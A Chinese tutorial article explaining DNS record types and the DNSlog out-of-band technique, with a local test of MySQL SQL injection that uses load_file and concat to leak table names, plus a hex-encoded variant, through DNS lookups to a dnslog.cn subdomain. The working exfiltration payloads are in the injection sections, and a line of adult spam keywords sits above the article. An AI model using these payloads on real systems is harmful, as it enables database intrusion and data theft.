欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

DNSlog外帶原理及注入分析(最新推薦)

 更新時(shí)間:2024年01月08日 14:48:39   作者:S1nJa  
DNS的全稱是Domain?Name?System(網(wǎng)絡(luò)名稱系統(tǒng)),它作為將域名和IP地址相互映射,使人更方便地訪問(wèn)互聯(lián)網(wǎng),最近一直聽(tīng)到DNSlog外帶原理等詞但對(duì)其原理一直只是自己的理解(回顯DNS請(qǐng)求后的日志)并沒(méi)有真正的了解過(guò),所以這里做一下記錄,感興趣的朋友一起看看吧

DNS基本概念

DNS中不同域名類型概念

DNS的全稱是Domain Name System(網(wǎng)絡(luò)名稱系統(tǒng)),它作為將域名和IP地址相互映射,使人更方便地訪問(wèn)互聯(lián)網(wǎng)。當(dāng)用戶輸入某一網(wǎng)址如littlehann.com,網(wǎng)絡(luò)上的DNS Server會(huì)將該域名解析,并找到對(duì)應(yīng)的真實(shí)IP如101.37.97.51,使用戶可以訪問(wèn)這臺(tái)服務(wù)器上相應(yīng)的服務(wù)。

DNSlog就是存儲(chǔ)在DNS Server上的域名訪問(wèn)信息,它記錄著用戶對(duì)域名littlehann.com等的訪問(wèn)信息,類似日志文件。

按照解析類型分類,DNS域名有如下幾種:

  • A記錄:A (Address) 記錄是用來(lái)指定主機(jī)名(或域名)對(duì)應(yīng)的IP地址記錄。就是說(shuō):通過(guò)A記錄,大家可以設(shè)置自己的不同域名轉(zhuǎn)到不同的IP上去。如:
    • www.dns.la轉(zhuǎn)到IP 116.255.202.1
    • web.dns.la 轉(zhuǎn)到IP 116.255.202.11
    • mail.dns.la 轉(zhuǎn)到IP 116.255.202.111
  • MX記錄(Mail Exchange):郵件交換記錄,用戶可以將該域名下的郵件服務(wù)器指向到自己的Mail Server上,然后即可自行操作控制所有的郵箱設(shè)置。
  • CNAME(Canonical Name)記錄:通常稱別名解析,可以將注冊(cè)的不同域名都轉(zhuǎn)到一個(gè)域名記錄上,由這個(gè)域名記錄統(tǒng)一解析管理,與A記錄不同的是,CNAME別名記錄設(shè)置的可以是一個(gè)域名的描述而不一定是IP地址。
  • URL(Uniform Resource Locator)轉(zhuǎn)發(fā):網(wǎng)址轉(zhuǎn)發(fā)功能,如果您沒(méi)有一臺(tái)獨(dú)立的服務(wù)器(也就是沒(méi)有一個(gè)獨(dú)立的IP地址)或者您還有一個(gè)域名B,您想訪問(wèn)A域名時(shí)訪問(wèn)到B域名的內(nèi)容,這時(shí)您就可以通過(guò)URL轉(zhuǎn)發(fā)來(lái)實(shí)現(xiàn)。URL轉(zhuǎn)發(fā)可以轉(zhuǎn)發(fā)到某一個(gè)目錄下,甚至某一個(gè)文件上。而CNAME是不可以,這就是URL轉(zhuǎn)發(fā)和CNAME的主要區(qū)別所在。
  • NS(Name Server):NS記錄是域名服務(wù)解析記錄,NS用來(lái)指定該域名由哪個(gè)DNS服務(wù)器來(lái)進(jìn)行解析,可以把一個(gè)域名的不同二級(jí)域名分別指向到不同的DNS系統(tǒng)來(lái)解析。
  • AAAA記錄:IPV6解析記錄,該記錄是將域名解析到一個(gè)指定的IPV6的IP上。

前言

最近一直聽(tīng)到DNSlog外帶原理等詞但對(duì)其原理一直只是自己的理解(回顯DNS請(qǐng)求后的日志)并沒(méi)有真正的了解過(guò),所以這里做一下記錄。

DNSlog原理

DNS

DNS(Domain Name System)就是域名系統(tǒng),負(fù)責(zé)把域名轉(zhuǎn)換成IP地址;例如向?yàn)g覽器訪問(wèn)a.com,瀏覽器就會(huì)將其解析成真實(shí)的IP訪問(wèn)對(duì)應(yīng)服務(wù)器上的服務(wù)。

DNSlog

DNSlog就是DNS的日志,DNS在域名解析的時(shí)候會(huì)留下域名和解析IP的記錄

DNSlog外帶原理

DNS在解析的時(shí)候會(huì)留下日志,我們將信息放在高級(jí)域名中,傳遞到自己這里,然后通過(guò)讀日志獲取信息。

所以這里跟最初的猜想基本一致,原理也就是通過(guò)DNS請(qǐng)求后,通過(guò)讀取日志來(lái)獲取我們的請(qǐng)求信息。

DNSlog注入

在搜索DNSlog原理時(shí)同時(shí)看到了DNSlog注入,所以本地測(cè)試一塊都了解一下

前置知識(shí)

Load_file

注入主要用到了Load_file函數(shù),功能是讀取文件并返回文件內(nèi)容為字符串。(訪問(wèn)互聯(lián)網(wǎng)中的文件時(shí),需要在最前面加上兩個(gè)斜杠 //)

使用本函數(shù)有幾個(gè)前提:
1、首先要有注入點(diǎn)
2、需要有root權(quán)限
3、數(shù)據(jù)庫(kù)有讀寫權(quán)限即:secure_file_priv=“”
4、得有請(qǐng)求url權(quán)限
5、還必須得是windows服務(wù)器

D盤中寫了個(gè)1.txt

通過(guò)load_file函數(shù),讀取一下

select load_file('D:/1.txt')

concat

由于在通過(guò)load_file外帶時(shí)是無(wú)法執(zhí)行sql語(yǔ)句的,所以要通過(guò)concat函數(shù),將執(zhí)行的sql語(yǔ)句,與DNS請(qǐng)求的url進(jìn)行拼接

select concat('Sentiment','\\',(select database()));

本地測(cè)試

通過(guò)DNSlog外帶數(shù)據(jù)庫(kù)信息

select load_file(concat('//',(select group_concat(table_name separator '_') from  information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));


外帶表名

select load_file(concat('//',(select group_concat(table_name separator '_') from  information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));

剩下的就是sql注入常規(guī)操作了,就不一一列舉了

局限性

通過(guò)本地測(cè)試后,發(fā)現(xiàn)了一些問(wèn)題,在url中傳遞字符有一定的局限性,很多字符是無(wú)法傳遞的,所以在外帶時(shí),可以通過(guò)十六進(jìn)制編碼繞過(guò)符號(hào)的局限性

select load_file(concat('//',(select hex(group_concat(table_name separator '_')) from  information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));

十六進(jìn)制轉(zhuǎn)字符

到此這篇關(guān)于DNSlog外帶原理及注入分析(最新推薦)的文章就介紹到這了,更多相關(guān)DNSLOG注入原理內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • windows系統(tǒng)搭建zookeeper服務(wù)器的教程

    windows系統(tǒng)搭建zookeeper服務(wù)器的教程

    這篇文章主要介紹了windows系統(tǒng)搭建zookeeper服務(wù)器的教程,本文圖文并茂給大家介紹的非常詳細(xì),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2019-10-10
  • DELL R710服務(wù)器做RAID5磁盤陣列圖文教程

    DELL R710服務(wù)器做RAID5磁盤陣列圖文教程

    這篇文章主要介紹了DELL R710服務(wù)器做RAID5磁盤陣列圖文教程,需要的朋友可以參考下
    2014-08-08
  • 雙至強(qiáng)cpu 32g內(nèi)存服務(wù)器 做了陣列1更換一個(gè)壞的硬盤后,沒(méi)做陣列

    雙至強(qiáng)cpu 32g內(nèi)存服務(wù)器 做了陣列1更換一個(gè)壞的硬盤后,沒(méi)做陣列

    更換掉壞硬盤后,系統(tǒng)重新認(rèn)出primary后,原來(lái)的主盤即失效,如果此時(shí)再將更換掉的舊盤插入系統(tǒng)就會(huì)造成,混亂,導(dǎo)致進(jìn)不入系統(tǒng),撥掉也無(wú)用
    2013-06-06
  • CyberPanel配置教程,新手安裝?CyberPanel?終極指南

    CyberPanel配置教程,新手安裝?CyberPanel?終極指南

    CyberPanel?是第一個(gè)LiteSpeed為web服務(wù)器的Linux面板,使用LiteSpeed?Cache簡(jiǎn)單優(yōu)化之后?Gtmetrix?和?Google?PageSpeed?Insights?的評(píng)分幾乎都是A,這個(gè)結(jié)果讓人十分滿意
    2023-12-12
  • ROS參數(shù)服務(wù)器中的理論模型與參數(shù)操作(C++)

    ROS參數(shù)服務(wù)器中的理論模型與參數(shù)操作(C++)

    在C++中實(shí)現(xiàn)參數(shù)服務(wù)器數(shù)據(jù)的增刪改查,均可以通過(guò)兩套API實(shí)現(xiàn)分別是ros::NodeHandle和ros::param,這篇文章主要介紹了ROS參數(shù)服務(wù)器--理論模型與參數(shù)操作(C++),需要的朋友可以參考下
    2023-08-08
  • Kubernetes常用命令大全近期總結(jié)

    Kubernetes常用命令大全近期總結(jié)

    Kubernetes是用于大規(guī)模部署和管理這些容器的開(kāi)源軟件?-?在希臘語(yǔ)中,這個(gè)詞還有“舵手”或“飛行員”的意思,使用?Kubernetes(有時(shí)被稱為“k8s”或“k-eights”)可更快地構(gòu)建、交付和縮放容器化應(yīng)用,這篇文章介紹了最新版Kubernetes常用命令大全
    2025-01-01
  • Tomcat目錄結(jié)構(gòu)詳細(xì)介紹

    Tomcat目錄結(jié)構(gòu)詳細(xì)介紹

    今天和大家一起聊聊關(guān)于Tomcat目錄結(jié)構(gòu)以及各個(gè)目錄,相關(guān)文章的具體作用
    2018-10-10
  • 如何在多臺(tái)服務(wù)器上運(yùn)行相同命令

    如何在多臺(tái)服務(wù)器上運(yùn)行相同命令

    這篇文章主要介紹了在多臺(tái)服務(wù)器上運(yùn)行相同命令的相關(guān)知識(shí),包括安裝及使用方法,本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2023-06-06
  • 配置Memcache服務(wù)器并實(shí)現(xiàn)主從復(fù)制功能(repcached)

    配置Memcache服務(wù)器并實(shí)現(xiàn)主從復(fù)制功能(repcached)

    repcached是日本人開(kāi)發(fā)的實(shí)現(xiàn)memcached復(fù)制功能,它是一個(gè)單 master單 slave的方案,但它的 master/slave都是可讀寫的,而且可以相互同步,如果 master壞掉, slave偵測(cè)到連接斷了,它會(huì)自動(dòng) listen而成為 master
    2012-03-03
  • V?Rising?服務(wù)器搭建圖文教程

    V?Rising?服務(wù)器搭建圖文教程

    這篇文章主要介紹了V?Rising?服務(wù)器搭建,本文通過(guò)圖文并茂的形式給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2022-06-06

最新評(píng)論